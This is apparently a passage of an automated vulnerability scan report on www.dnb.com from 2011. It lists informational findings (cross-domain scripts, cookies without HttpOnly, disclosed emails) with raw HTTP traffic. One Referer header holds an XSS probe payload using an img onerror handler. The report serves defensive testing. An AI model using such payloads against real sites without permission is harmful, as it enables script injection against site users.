Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:45:56 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1228
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=1205414?"></script>
...[SNIP]...
<!-- for non JavaScript browsers and Netscape 2.x -->
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=1205414?">
<img src="//ad.doubleclick.net/ad/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=1205414?" border="0">
</a>
...[SNIP]...

2.5. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd4146ZZZ&ord=7810609 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; cs=Typed%2FBookmarked; ctc2=2; s_sq=%5B%5BB%5D%5D; s_len=1201; IPE_S_51093=51093; style=null; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:42:16 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1283
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=7810609?"></script>
...[SNIP]...
<!-- for non JavaScript browsers and Netscape 2.x -->
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=7810609?">
<img src="//ad.doubleclick.net/ad/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=7810609?" border="0">
</a>
...[SNIP]...

3. Cross-domain script include  previous  next
There are 6 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://www.dnb.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:41:43 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803821916; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A41%3A43; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:33:13 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 69809

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<meta name="verify-v1" content="rlf8D2GawTNaQTdKz2jo3t+cM5Bg+vVz3C7+uoCtYy4=" />
           
       
       <script src="//ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
<!-- Begin: 4q.iperceptions.com -->
<script src="http://4qinvite.4q.iperceptions.com/1.aspx?sdfc=acf2967e-50130-876f4550-7ee8-4da7-a378-d8a89c40258e&lID=1&loc=4Q-WEB2" type="text/javascript" defer="defer" ></script>
...[SNIP]...

3.2. http://www.dnb.com/15166033.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /15166033.html?q=xss&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:43:30 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803823576; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A43%3A30; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:35:00 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<link rel="icon" href="/favicon.ico" type="image/x-icon"/>
   
       
       <script src="//ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<!-- Begin: 4q.iperceptions.com -->
<script src="http://4qinvite.4q.iperceptions.com/1.aspx?sdfc=acf2967e-50130-876f4550-7ee8-4da7-a378-d8a89c40258e&lID=1&loc=4Q-WEB2" type="text/javascript" defer="defer" ></script>
...[SNIP]...

3.3. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:41:48 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1283
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?"></script>
...[SNIP]...

3.4. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd4146ZZZ&ord=7810609 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; cs=Typed%2FBookmarked; ctc2=2; s_sq=%5B%5BB%5D%5D; s_len=1201; IPE_S_51093=51093; style=null; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:42:16 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1283
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=7810609?"></script>
...[SNIP]...

3.5. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_Supply_Mgmt&keyvalues=;cid=15166033;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd6070ZZZ&ord=1205414 HTTP/1.1
Host: www.dnb.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/15166033.html?q=xss10432%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Ecc0dc1d09dc&x=0&y=0
Cookie: PAGEID=803825956; TS=2011%2D09%2D15%2015%3A45%3A52; COMPONENTID=0; JSESSIONID=E61E9BE34E95F23B121F78E640B7E817; SERVERID=dbcweb1; VID=B03F547A%2D8B32%2D4D5B%2D87673D1C26F6DCFC

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:45:56 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1228
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=1205414?"></script>
...[SNIP]...

3.6. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_Supply_Mgmt&keyvalues=;cid=15166033;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd9322ZZZ&ord=4866869 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/15166033.html?q=xss&x=0&y=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE; PAGEID=803823556; TS=2011%2D09%2D15%2015%3A43%3A29; COMPONENTID=0

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:43:31 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1228
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=4866869?"></script>
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://www.dnb.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:41:43 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803821916; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A41%3A43; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:33:13 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 69809

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...

4.2. http://www.dnb.com/15166033.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /15166033.html?q=xss&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:43:30 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803823576; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A43%3A30; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:35:00 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...

5. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


5.1. http://www.dnb.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /

Issue detail

The following email addresses were disclosed in the response:

Request

GET / HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:41:43 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803821916; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A41%3A43; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:33:13 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 69809

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<script type="javascript>

/**
* --------------------------------------------------------------------
* jQuery-Plugin "pngFix"
* Version: 1.2, 09.03.2009
* by Andreas Eberhard, andreas.eberhard@gmail.com
* http://jquery.andreaseberhard.de/
*
* Copyright (c) 2007 Andreas Eberhard
* Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php)
*
* Changelog:

...[SNIP]...
from selectors
* 11.09.2007 Version 1.1
* - removed noConflict
* - added png-support for input type=image
* - 01.08.2007 CSS background-image support extension added by Scott Jehl, scott@filamentgroup.com, http://www.filamentgroup.com
* 31.05.2007 initial Version 1.0
* --------------------------------------------------------------------
* @example $(function(){$(document).pngFix();});
* @des
...[SNIP]...

5.2. http://www.dnb.com/15166033.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The following email addresses were disclosed in the response:

Request

GET /15166033.html?q=xss&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:43:30 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803823576; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A43%3A30; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:35:00 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<script type="javascript>

/**
* --------------------------------------------------------------------
* jQuery-Plugin "pngFix"
* Version: 1.2, 09.03.2009
* by Andreas Eberhard, andreas.eberhard@gmail.com
* http://jquery.andreaseberhard.de/
*
* Copyright (c) 2007 Andreas Eberhard
* Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php)
*
* Changelog:

...[SNIP]...
from selectors
* 11.09.2007 Version 1.1
* - removed noConflict
* - added png-support for input type=image
* - 01.08.2007 CSS background-image support extension added by Scott Jehl, scott@filamentgroup.com, http://www.filamentgroup.com
* 31.05.2007 initial Version 1.0
* --------------------------------------------------------------------
* @example $(function(){$(document).pngFix();});
* @des
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dnb.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
